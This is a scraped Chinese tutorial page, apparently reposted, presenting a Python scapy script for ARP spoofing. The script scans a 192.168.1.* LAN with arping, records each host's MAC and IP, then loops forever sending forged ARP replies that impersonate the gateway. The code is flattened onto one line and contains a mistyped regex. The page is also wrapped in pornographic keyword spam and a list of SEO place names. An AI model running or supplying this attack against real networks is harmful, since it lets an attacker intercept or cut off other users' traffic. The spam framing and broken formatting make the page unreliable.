国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python使用arp欺騙偽造網關的方法

2020-02-23 00:52:39
字體:
來源:轉載
供稿:網友

本文實例講述了python使用arp欺騙偽造網關的方法。分享給大家供大家參考。具體實現方法如下:

#coding:utf-8'''arp欺騙局域網pc,將偽造的網關mac以網關的arp應答發送給pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#偽造網關mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):  #偽造來自網關的arp應答  t=p  t.hwdst=hw  t.pdst=ip  send(t)def get_host():  #得到在線主機的mac地址和對應ip地址   hw_ip = {}  sys.stdout = open('host.info','w')  arping(IPADDR)  sys.stdout = stdout  f = open('host.info','r')  info = f.readlines()  f.close  del info[0]  del info[0]  for host in info :    temp = re.split(r'/s+',host)    hw_ip[temp[1]] = temp[2]  return hw_ipif __name__ == "__main__":  hw_ip = get_host()  while 1 :    for i in hw_ip :      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述對大家的Python程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 广德县| 鹤山市| 屯留县| 布尔津县| 长宁县| 阿拉尔市| 内江市| 石台县| 类乌齐县| 沙洋县| 菏泽市| 丹凤县| 西城区| 鹤庆县| 灵台县| 安乡县| 达拉特旗| 安仁县| 荥经县| 楚雄市| 凤城市| 麻阳| 兰坪| 乌审旗| 镇宁| 两当县| 昆明市| 中方县| 周宁县| 县级市| 永新县| 东山县| 江油市| 无极县| 太谷县| 抚松县| 岳阳市| 盐亭县| 新田县| 文山县| 汕尾市|